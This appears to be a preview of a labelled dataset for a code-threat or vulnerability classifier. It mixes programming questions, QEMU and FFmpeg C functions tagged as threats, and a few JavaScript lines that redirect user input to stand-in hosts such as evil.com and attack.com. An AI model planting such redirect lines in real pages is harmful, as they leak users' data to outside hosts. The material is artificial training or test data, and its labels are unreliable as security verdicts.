problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
static int check_output_constraints(InputStream *ist, OutputStream *ost)
{
OutputFile *of = output_files[ost->file_index];
int ist_index = input_files[ist->file_index]->ist_index + ist->st->index;
if (ost->source_index != ist_index)
return 0;
if (of->start_time && ist->pts < of->start... | 1threat |
static int spapr_fixup_cpu_dt(void *fdt, sPAPRMachineState *spapr)
{
int ret = 0, offset, cpus_offset;
CPUState *cs;
char cpu_model[32];
int smt = kvmppc_smt_threads();
uint32_t pft_size_prop[] = {0, cpu_to_be32(spapr->htab_shift)};
CPU_FOREACH(cs) {
PowerPCCPU *cpu = POWERPC_C... | 1threat |
how to include structures as header file : <p>I am trying to create a header file for my structure, but after I created the structure and included it in the main program it gives me error messages.</p>
<p>this is my header file</p>
<pre><code>#pragma once
#ifndef MYSTRUCT_H_INCLUDED
#define MYSTRUCT_H_INCLUDED
struc... | 0debug |
Svn to git migration: How to add branches from svn to migrated git (gerrit) : I already migrated a svn repo to git and add it to gerrit project.
My problem is the svn repo has multiple branches, how to do I migrate the branches and add it to existing gerrit project.
Thanks in advance! | 0debug |
Q: Android studio. Radio button group inside another radio button group : I am programming my first application in android studio. User should select the training type (muscle gain, weight loss, own program) and then choose sex (male/female). So, 6 possible outcomes. 2 respective radio groups. After choosing necessary ... | 0debug |
float64 helper_sub_cmpf64(CPUM68KState *env, float64 src0, float64 src1)
{
float64 res;
res = float64_sub(src0, src1, &env->fp_status);
if (float64_is_nan(res)) {
if (!float64_is_nan(src0)
&& !float64_is_nan(src1)) {
res = 0;
if (floa... | 1threat |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
In C# is it possible to instantiate a class with a value? : <p>In C# is it possible to instantiate a class with a value? That is to say if a class contains an array, is it possible to create a class that you pass the length of the desired array when the class is instantiated? </p>
| 0debug |
static void bonito_pciconf_writel(void *opaque, target_phys_addr_t addr,
uint64_t val, unsigned size)
{
PCIBonitoState *s = opaque;
PCIDevice *d = PCI_DEVICE(s);
DPRINTF("bonito_pciconf_writel "TARGET_FMT_plx" val %x\n", addr, val);
d->config_write(d, addr, val,... | 1threat |
How to specify list item count in preview of recyclerview in Android Studio? : <p>The recyclerview layout is defined as </p>
<pre><code> <android.support.v7.widget.RecyclerView
android:layout_marginTop="15dp"
android:id="@+id/call_detail_list"
android:scrollbars="vertical"
... | 0debug |
static void interface_set_client_capabilities(QXLInstance *sin,
uint8_t client_present,
uint8_t caps[58])
{
PCIQXLDevice *qxl = container_of(sin, PCIQXLDevice, ssd.qxl);
qxl->shadow_rom.client_present = client_present;
... | 1threat |
static int net_client_init1(const void *object, int is_netdev, Error **errp)
{
union {
const Netdev *netdev;
const NetLegacy *net;
} u;
const NetClientOptions *opts;
const char *name;
if (is_netdev) {
u.netdev = object;
opts = u.netdev->opts;
n... | 1threat |
Re-assigning a name to itself : <p>Notice <a href="https://github.com/python/cpython/blob/cc3fa204d357be5fafc10eb8c2a80fe0bca998f1/Lib/multiprocessing/dummy/__init__.py#L91-L92" rel="noreferrer">these lines</a> in <code>multiprocessing</code> package of standard libraries:</p>
<pre><code>dict = dict
list = list
</code... | 0debug |
Force Move to a new view Swift : I'm making an app on xcode with swift 3 and am making the app have multiple variables. I want my app to test when a certain variable is at a value, move to a new view controller no matter what view you are on. I know i can use segues but with a lot of views this gets messy. Is there any... | 0debug |
SignalR in ASP.NET Core behind Nginx : <p>I have a server with ubuntu 16.04, kestrel and nginx as a proxy server that redirects to localhost where my app is. And my app is on Asp.Net Core 2. I'm trying to add push notifications and using SignalR core. On localhost everything is working well, and on a free hosting with ... | 0debug |
Swap two numbers golang : <p>I am trying to understand the internals of go. Consider the following code</p>
<pre><code>a,b := 10,5
b,a = a,b
</code></pre>
<p>The above code swaps 2 number perfectly and a becomes 5 and b becomes 10. I am not able to understand how this works. Considering in the second line of code, if... | 0debug |
int gdbserver_start(const char *device)
{
GDBState *s;
char gdbstub_device_name[128];
CharDriverState *chr = NULL;
CharDriverState *mon_chr;
if (!device)
return -1;
if (strcmp(device, "none") != 0) {
if (strstart(device, "tcp:", NULL)) {
snpr... | 1threat |
How can I insert actual values in dataframe as columns in R? : <p>I know some basic R but I'm stuck with this dataframe handling.
I need to be able to use a package or base function in R to transoform a dataframe like this.</p>
<pre><code>id value variable
1 25.5 max_temp
1 16.4 min_temp
2 23.1 ... | 0debug |
Multiple svg with same IDs : <p>Can i put multiple svgs in a html page and use the same IDs in all of them?</p>
<pre><code><div>
<svg height="0" width="0">
<clipPath id="svgPath"> ........
</svg>
<svg height="0" width="0">
<clipPath id="svgPath"> ........ ... | 0debug |
static inline void stl_phys_internal(target_phys_addr_t addr, uint32_t val,
enum device_endian endian)
{
uint8_t *ptr;
MemoryRegionSection *section;
section = phys_page_find(addr >> TARGET_PAGE_BITS);
if (!memory_region_is_ram(section->mr) || section->reado... | 1threat |
How to run POSTCSS AFTER sass-loader and ExtractTextPlugin have finished? : <p>I am trying to figure out how to run postcss on my final output css file. </p>
<pre><code>'strict';
const path = require('path');
const webpack = require('webpack');
const StatsPlugin = require('stats-webpack-plugin');
/* POSTCSS Optimiza... | 0debug |
static void frame_thread_free(AVCodecContext *avctx, int thread_count)
{
FrameThreadContext *fctx = avctx->thread_opaque;
AVCodec *codec = avctx->codec;
int i;
park_frame_worker_threads(fctx, thread_count);
if (fctx->prev_thread && fctx->prev_thread != fctx->threads)
update_contex... | 1threat |
static void ehci_queues_rip_unused(EHCIState *ehci, int async)
{
EHCIQueueHead *head = async ? &ehci->aqueues : &ehci->pqueues;
EHCIQueue *q, *tmp;
QTAILQ_FOREACH_SAFE(q, head, next, tmp) {
if (q->seen) {
q->seen = 0;
q->ts = ehci->last_run_ns;
continue;... | 1threat |
I write this code but I need to use a function in order to get a return instead printing the output : """A catering company has hired you to help with organizing and preparing customer's orders. You are given a list of each customer's desired items, and must write a program that will count the number of each items n... | 0debug |
Do I need to unsubscribe from subscriptions in my unit tests? : <p>If I have a test such as the following:</p>
<pre><code>it('should return some observable', async(() => {
mockBackend.connections.subscribe((mockConnection: MockConnection) => {
const responseOptions = new ResponseOptions({
body: JSON.... | 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Setting up a windows web hosting in virtual private server : <p>I have 2 virtual private servers which i got from cloudatcost.com with 2 static IPs for one server and 1 static IP for another.
I have installed windows server 2008 R2 on both of them. All I wanted to do is to make one as a webserver and the other as a ema... | 0debug |
I2CBus *aux_get_i2c_bus(AUXBus *bus)
{
return aux_bridge_get_i2c_bus(bus->bridge);
}
| 1threat |
Chrome Network Request does not show Cookies tab, some request headers, Copy as cURL is broken : <p>Since I upgraded to Chrome 72 the "Cookies" tab in Developer Tools -> Network -> A network request no longer shows the "Cookies" tab, and the request headers no longer include Cookies.</p>
<p>Furthermore, right clicking... | 0debug |
static void gen_cas_asi(DisasContext *dc, TCGv addr, TCGv val2,
int insn, int rd)
{
TCGv val1 = gen_load_gpr(dc, rd);
TCGv dst = gen_dest_gpr(dc, rd);
TCGv_i32 r_asi = gen_get_asi(dc, insn);
gen_helper_cas_asi(dst, cpu_env, addr, val1, val2, r_asi);
tcg_temp_free_i32... | 1threat |
Calculating pow(double,2) gives a huge number : I'm trying to code a simulation of Pi calculating using multiple processes.
I have a function that generates random double x, y numbers from 1 to -1,
and when im trying to calculate whether x^2 + y^2 <= 1,
but the result is a huge number, and its always bigger than 1. | 0debug |
Arduino, pin mode is always LOW when it should be HIGH : I'm working with simple arduino where i'm trying to turn on LED light by using serial print and turning off the LED Light when i click the button or use the switch on the board, when the pin is in the ground.
Atm, i can turn on the led light by serial, however... | 0debug |
How to convert a byte array to string : <p>I have a byte array with binary values like "1010010011". now I want to convert into a string .I have tried different methods but failed .can any one help me ?</p>
| 0debug |
dispatcher_wait(Dispatcher *dispr, uint32_t timeout)
{
struct timeval tv;
tv.tv_sec = timeout / 1000000;
tv.tv_usec = timeout % 1000000;
fd_set fdset = dispr->fdset;
int rc = select(dispr->max_sock + 1, &fdset, 0, 0, &tv);
if (rc == -1) {
vubr_die("select");
}
... | 1threat |
I have a problem with my java homework. I need to verify an email : <p>If you speak german, this is the task:</p>
<p>Schreiben Sie eine Methode checkEmail(String email), die prüft ob ein String eine Email Adresse ist.
Hierzu können Sie das Pattern / Matcher Konstrukt verwenden:</p>
<pre><code>Pattern pattern = Patter... | 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
static void vmxnet3_adjust_by_guest_type(VMXNET3State *s)
{
struct Vmxnet3_GOSInfo gos;
VMXNET3_READ_DRV_SHARED(s->drv_shmem, devRead.misc.driverInfo.gos,
&gos, sizeof(gos));
s->rx_packets_compound =
(gos.gosType == VMXNET3_GOS_TYPE_WIN) ? false : true;
VMW... | 1threat |
C# .net API requests : <p>I'm trying to get specific data from the API, but it always says:</p>
<p>Newtonsoft.Json.JsonSerializationException: 'Cannot deserialize the current JSON object (e.g. {"name":"value"}) into type 'System.Collections.Generic.List`1[RESTfulAPIConsume.Model.GitHubRelease]' because the type requir... | 0debug |
static BlockDriverAIOCB *bdrv_aio_rw_vector(BlockDriverState *bs,
int64_t sector_num,
QEMUIOVector *qiov,
int nb_sectors,
BlockDriverComplet... | 1threat |
I have few files in a folder,how i can save the path of the files into database by using spring mvc? : [This is my project folder structure ][1]
I wants to save the file path into database by using spring mvc .please help
[1]: http://i.stack.imgur.com/pUwZ6.jpg | 0debug |
How to represent Array In desired format in java : <p>I am getting array values as follows in JSP servlet page. </p>
<pre><code>String[] JsonEvents = request.getParameterValues("events[]");
</code></pre>
<p>I just want to know how to change it to the following type.(Lets say "Apple" and "Orange" are the element of re... | 0debug |
chart in dialog box when a button is pressed : My Goal is to place it in an popup/dialog/messagebox whatever pops up and is able to contain the graph. dialog is working but chart data is not coming in sapui5 | 0debug |
What is the best alternative to `canvas.clipRect` with `Region.Op.REPLACE`? : <h2>Background</h2>
<p>I'm working on a library that has a lot of canvas drawing instead of multiple views (available <a href="https://github.com/Quivr/Android-Week-View" rel="noreferrer"><strong>here</strong></a>).</p>
<h2>The problem</h2>... | 0debug |
How can I clear the variable after while loop is done : <p>I'm writing a program that multiplies matrices. And here I have got two variables "i" and "q" which at the beginning are both 0. While the loops proceed variables ("i" and "q") change their values. However after the loops are done I need "i" and "q" to come bac... | 0debug |
Lint error "Do not treat position as fixed; only use immediately..." : <p>I'm contributing to open source library and got lint error <strong>"Do not treat position as fixed; only use immediately and call holder.getAdapterPosition() to look it up later"</strong> for this code:</p>
<pre><code> @Override public void onB... | 0debug |
methods that give error : <p>a developer has left the company and left me with his code.
it was working fine</p>
<p>but when I copied the code into my computer, I started getting all sort of errors</p>
<p>There are methods that are used that do not have any definition anywhere, not even google.</p>
<p>Methods are : ... | 0debug |
static target_ulong compute_tlbie_rb(target_ulong v, target_ulong r,
target_ulong pte_index)
{
target_ulong rb, va_low;
rb = (v & ~0x7fULL) << 16;
va_low = pte_index >> 3;
if (v & HPTE64_V_SECONDARY) {
va_low = ~va_low;
}
if (!(v & H... | 1threat |
How do i post data using Angularjs : I am new in Angularjs.I tried to post the form data.but it couldnot works.
My code is given below.
var app = angular.module('myApp', []);
// Controller function and passing $http service and $scope var.
app.controller('myCtrl', function($scope, $http) ... | 0debug |
how to get all predefined constant in php? : I want to see all predefined constant in library.
A constant is an identifier (name) for a simple value. As the name suggests, that value cannot change during the execution of the script (except for magic constants, which aren't actually constants). A constant is case-sensi... | 0debug |
Hi there! I want to call a function when state changes : when we call setstate({}) after it, it has to call function My requirements: i want to add or remove classes on specific state so i want to check state in runtime and call function on specific state, Thanks, | 0debug |
sql command not properly ended for select statement - oracle : I have a pl/sql function and in that i have the following piece of code:
execute immediate 'select ' || schemaname || '.' || value1 || '_seq.nextval from dual into cnpParmId';
for this line, am getting an error :
SQL Error: ORA-00933: SQL command... | 0debug |
static void sd_set_status(SDState *sd)
{
switch (sd->state) {
case sd_inactive_state:
sd->mode = sd_inactive;
break;
case sd_idle_state:
case sd_ready_state:
case sd_identification_state:
sd->mode = sd_card_identification_mode;
break;
case sd_standb... | 1threat |
Issue to make click on <a> tag in funcional test with selenium : i am to make a functional test and i need to make click on `<a>` tag, but i try some ways and really i don't know, i try with the commands in this url
https://saucelabs.com/resources/articles/the-selenium-2018click2019-command, nothing has worked, if so... | 0debug |
How to see if a service is running on Linux? : <p>I'm using systemctl to setup and run my serviced on a Linux Redhat. How can I check if a service is in running state? </p>
<p>I can use </p>
<pre><code>systemctl is-active <service name>
</code></pre>
<p>to check if the service is is active or not. But I would... | 0debug |
Does Spring Boot RequestMapping match requests exactly? : I have a Spring Boot Api which has endpoints which offers paging.
@RequestMapping(path = "/most-popular", method = GET)
@Override
public List<RefinedAlbum> getMostPopularDefault() {
return albumService.getMostPopular(0, 25);
... | 0debug |
Angular2 show all form group validation errors : <p>I am building a deep nested form with Angular2 and FormGroup, currently I have a form such as in a parent controller:</p>
<pre><code>this.orderForm = this.fb.group({
customerSelectForm: this.fb.group({ // create nested formgroup to pass to child
selectTypeah... | 0debug |
PHP Fatal error: Call to a member function query() on null : <p>I am new in php, and wonder why I getting this, need expert to guide. Thanks.</p>
<p>PHP Fatal error: Call to a member function rowCount() on resource in C:\inetpub\wwwroot\xxx\xxx.php on line 9</p>
<pre><code><?php
include 'connect_db.php';
$conn =... | 0debug |
Order Cancelled (Google Developer Console) : <p>In my Google Developer Console under "Order Management" I have a lot of cancelled order like that:</p>
<blockquote>
<p>Order history:</p>
<p>Jan 18 2017 5:13 PM
Payment pending
You received a new order.</p>
<p>Jan 18 2017 5:13 PM
Cancelling
Process fo... | 0debug |
static int raw_read_header(AVFormatContext *s, AVFormatParameters *ap)
{
AVStream *st;
int id;
st = av_new_stream(s, 0);
if (!st)
return AVERROR_NOMEM;
if (ap) {
id = s->iformat->value;
if (id == CODEC_ID_RAWVIDEO) {
st->codec->codec_type = CODEC_TYPE_... | 1threat |
Iterate through string of characters and look for int? : <p>I need to iterate through a string with a mixture of letters and numbers. If it finds at least one number, it returns True, else, it returns false. How can I do this?</p>
| 0debug |
Is it possible to highlight the background of methods, for loops, while loops etc.? : <p>I've recently tried to switch from Bluej (we used that in school) to eclipse (which seems to be way more widespread) but I have some trouble distinguishing between different loops and methods etc. I am used to everything being high... | 0debug |
c++ exception : throwing std::exception : <p>I need to throw std::exeption if rad is negetive number, how can I throw? </p>
<pre><code>void Circle::setRad(double rad) {
if (rad < 0)
{
throw(std::exception );
}
radius = rad;
}
</code></pre>
| 0debug |
Parameter specified as non-null is null in ArrayAdaper : <p>I've extended ArrayAdapter for spinner:</p>
<pre><code>class OrderAdapter(context: Context, resource: Int, objects: List<Order>) : ArrayAdapter<Order>(context, resource, objects) {
override fun getView(position: Int, convertView: View?, pa... | 0debug |
Django redirecting http -> https : <p>I am running:</p>
<pre><code>python manage.py runserver localhost:44100
</code></pre>
<p>And this is redirecting me to <code>https</code>:</p>
<pre><code>» http http://localhost:44100/
HTTP/1.0 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Date: Mon, 05 Mar 2018 1... | 0debug |
uint64_t HELPER(neon_sub_saturate_u64)(uint64_t src1, uint64_t src2)
{
uint64_t res;
if (src1 < src2) {
env->QF = 1;
res = 0;
} else {
res = src1 - src2;
}
return res;
}
| 1threat |
static void usb_host_handle_control(USBDevice *udev, USBPacket *p,
int request, int value, int index,
int length, uint8_t *data)
{
USBHostDevice *s = USB_HOST_DEVICE(udev);
USBHostRequest *r;
int rc;
trace_usb_host_req_cont... | 1threat |
How does a Email-Form work? : <p>this might be a stupid question but its been bugging me all day, I am creating a website from scratch in html , css and js and hope for it to go live very soon. Almost at the end section which is producing a email form for users to enter on the site and the information gets sent directl... | 0debug |
why am I getting the error "Can't find string terminator '"' anywhere before EOF when running very basic Perl script on MacOSX? : I am getting the error Can't find string terminator '"' anywhere before EOF when running the following script on Mac OSX. Note that this script was copied directly from a Mac forum...
#... | 0debug |
how to check if two doubles are equal in java : <p>I am writing a program to help students practice division, how can I compare the user Input and the correct answer if they are doubles</p>
| 0debug |
How does the Date type get the 'YY-MM-DD'? : <p>I want to get a present time.The Date type of 'YY-MM-DD'.What should I do?</p>
| 0debug |
How to covnert string property to bool? : I am developing a tool in wpf. In the tool I have the text field where I enter values. In the code for that, I have string property. Sometimes I need to enter the bool value. How can string property return bool value if it is typed true or false in text field.
Here is property... | 0debug |
Retrieve request in entity : For some translation purpose, I need to retrieve the request in my entities.
I tried to do what is [written here][1] but it's not working with entities.
/**
* AccessoryType constructor.
*
* @param RequestStack $requestStack
*/
public function __const... | 0debug |
Any Way Around Facebook Bots Button Template Limit? : <p>It appears (undocumented) that for a button message type in the Facebook Bots chat system, there is a max of 3 buttons. This seems arbitrary and limiting. Does anyone know if there is a way to have more than 3 buttons? </p>
<p>To be clear, I'm referring to the f... | 0debug |
how to compare selected date is greater than todays date in moment : I am using angularjs and moment library, i have start_date object contains several dates, once user clicks proceed I am checking each date to check whether it is valid date i,e which is grater than today or equal to today, else I am throwing error.
... | 0debug |
how to remove backslash from Json tag name : I need to remove "/" from Json tag name. Anyone have common solution for this.
"langServices": {"en/ENGLISH_ONLY": "English"}
This is the sample currently I have.
var finalData = jsonstr.replace("en/", "en-"); | 0debug |
How to convert binary fraction to decimal : <p>Javascript has the function <code>parseInt()</code> which can help convert integer in a binary form into its decimal equivalent:</p>
<pre><code>parseInt("101", 2) // 5
</code></pre>
<p>However, I need to convert binary fraction to its decimal equivalent, like:</p>
<pre>... | 0debug |
rewrite a peace of php code for copy file to folder : this is simple php code but i'm asp developer so enybody can rewrite this Piece of code so Instead of comperes files in zip format just copy them in for exampele 'wwwroot' folder .
<?php
/* CONFIG */
$pathToAssets = array("elements/bootstrap", "el... | 0debug |
unexpected behaviour of ACL linux : <p>Found the strangest behaviour in using acl using the <code>d</code> switch:</p>
<p>Test with the <code>d:</code> in the setfacl commando</p>
<pre><code>create directory: mkdir /var/tmp/tester
create three users: useradd userA -d /tmp etc…
remove the other permission of the direc... | 0debug |
Unable to convert CIImage to UIImage in Swift 3.0 : <p>I am making image form <code>QR Code</code> by using following code:</p>
<pre><code> func createQRFromString(str: String) -> CIImage? {
let stringData = str.dataUsingEncoding(NSUTF8StringEncoding)
let filter = CIFilter(name: "CIQRCodeGenerator... | 0debug |
Select query with gourp By : I need to select the table values with (group by) options. Table1 contains the list of week data I need to sum and group the values based on the Desc 2, Please help
**Table1:**
╔════════╦═══════╦════════╦═══════╗
║ ID ║ Desc ║ Desc 2 ║ Amt ║
╠════════╬═══════... | 0debug |
How to customize MappingMongoConverter (setMapKeyDotReplacement) in Spring-Boot without breaking the auto-configuration? : <p>How could I customize the <a href="http://docs.spring.io/spring-data/data-mongo/docs/current/api/org/springframework/data/mongodb/core/convert/MappingMongoConverter.html" rel="noreferrer"><code>... | 0debug |
Ignore system headers in clang-tidy : <p><strong>tldr;> How do I hide warnings from system headers in clang-tidy?</strong></p>
<p>I have the following minimal example source file, which triggers a clang-tidy warning in the system headers:</p>
<pre><code>#include <future>
int main() {
std::promise<int> ... | 0debug |
static int rv34_decode_cbp(GetBitContext *gb, RV34VLC *vlc, int table)
{
int pattern, code, cbp=0;
int ones;
static const int cbp_masks[3] = {0x100000, 0x010000, 0x110000};
static const int shifts[4] = { 0, 2, 8, 10 };
const int *curshift = shifts;
int i, t, mask;
code = get_vlc2(g... | 1threat |
sass classes for colorizing in html : <p>i would like to create sass classes, such as .blue and .bg,
but depending on which i use, it should colorize the fonts and/or the background.</p>
<pre><code>// Classes for colorizing elements
.blue {
color: $primary-color;
&.bg {
background-color: $primary-color;
... | 0debug |
How to Check Duplicate value SQL table ? : I am using SQL server.Import data from Excel . i have Following Fields column
Entity ExpenseTypeCode Amount Description APSupplierID ExpenseReportID
12 001 5 Dinner 7171 90
12 001 6 Di... | 0debug |
static void pci_apb_iowritel (void *opaque, target_phys_addr_t addr,
uint32_t val)
{
cpu_outl(addr & IOPORTS_MASK, bswap32(val));
}
| 1threat |
Android RxJava 2 JUnit test - getMainLooper in android.os.Looper not mocked RuntimeException : <p>I am encountering a RuntimeException when attempting to run JUnit tests for a presenter that is using <code>observeOn(AndroidSchedulers.mainThread())</code>. </p>
<p>Since they are pure JUnit tests and not Android instrum... | 0debug |
Creating vectors in R : <p>I have what I think is a trivial problem in R that I would be most grateful for some assistance with:</p>
<p>I am trying to select a large number of variables (>1000) from a dataframe. The variables are grouped in bundles together</p>
<p>I have a vector containing the start position of the ... | 0debug |
select a row based on different column value (same row) : <pre><code>df <- data.frame(ID = rep(c("WTN", "KON", "WTH","KOH"), each = 3),
Time = rep(c("A", "B", "C"), times = 4),
replicate(3,sample(1:100,12,rep=TRUE)))
</code></pre>
<p>I want to select a row based on the values of tw... | 0debug |
Swift programming. Scrollview disabling for container view : I have two container views inside a scroll view. I want to disable horizontal scrolling of one of the container view. Please help me? | 0debug |
Match Owner to filepath using Bash/Perl from Array : <p>I dont have any preference bash/perl etc for this. ( i'm not a developer but have experience with both )</p>
<p>I will have a list of File System Paths read recursively by a script to find large or old files - so lets imagine I have a File with list of paths file... | 0debug |
What are the jquery plugins used in https://supercrowds.co/who/ : <p>I need to find what are the plugins used in this <a href="https://supercrowds.co/who/" rel="nofollow noreferrer">https://supercrowds.co/who/</a> site. I tried it through inspector but it didn't work.</p>
| 0debug |
How can I extract the preceding audio (from microphone) as a buffer when silence is detected (JS)? : <p>I'm using the Google Cloud API for Speech-to-text, with a NodeJS back-end.
The app needs to be able to listen for voice commands, and transmit them to the back-end as a buffer. For this, I need to send the buffer of ... | 0debug |
Easiest way to reset git config file : <p>I am finally getting around to learning git. However, I unwisely started messing around with it awhile back (before I really knew what I was doing) via Sourcetree. Now that I'm trying to go through it, I have a pretty large list of settings. When I input: </p>
<pre><code>git c... | 0debug |
Parse public keys from .txt file by php : <p>I have .txt file with list of public keys and its ids and status. Exists some "best practice" method how can I extract one of this public key based on KEY_ID in php from .txt file?</p>
<p>keys.txt</p>
<pre><code>KEY_ID: 1
STATUS: VALID
-----BEGIN PUBLIC KEY-----
MFkwEwYHKo... | 0debug |
What fonts can I use with pygame.font.Font? : <p>I thought that pygame.font.Font was to load .ttf fonts, and that you can't load a font without having the .ttf file in the same directory, but I have seen a video where someone load a font without having the .ttf font in the same directory. I want to know what fonts can ... | 0debug |
Hi guys, im new here, i need a little help on making an an algorithm that displays all the even numbers between 0 and 1000. : I need help, i need to pass it tomorrow morning and I'm having a little problem.***emphasized text***
| 0debug |
static int qemu_rdma_exchange_send(RDMAContext *rdma, RDMAControlHeader *head,
uint8_t *data, RDMAControlHeader *resp,
int *resp_idx,
int (*callback)(RDMAContext *rdma))
{
int ret = 0;
if... | 1threat |
Simon Says in Python : <p>Simon Says" in python is a memory game where "Simon" outputs a sequence of 10 characters (R, G, B, Y) and the user must repeat the sequence. Create a for loop that compares the two strings. For each match, add one point to user_score. Upon a mismatch, end the game. Ex: The following patterns y... | 0debug |
Email sending application via WinFrm : Can i send email without giving password on the `NetworkCredentials`? here is my code.
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
MailMessage Myemail = new MailMessage();
... | 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.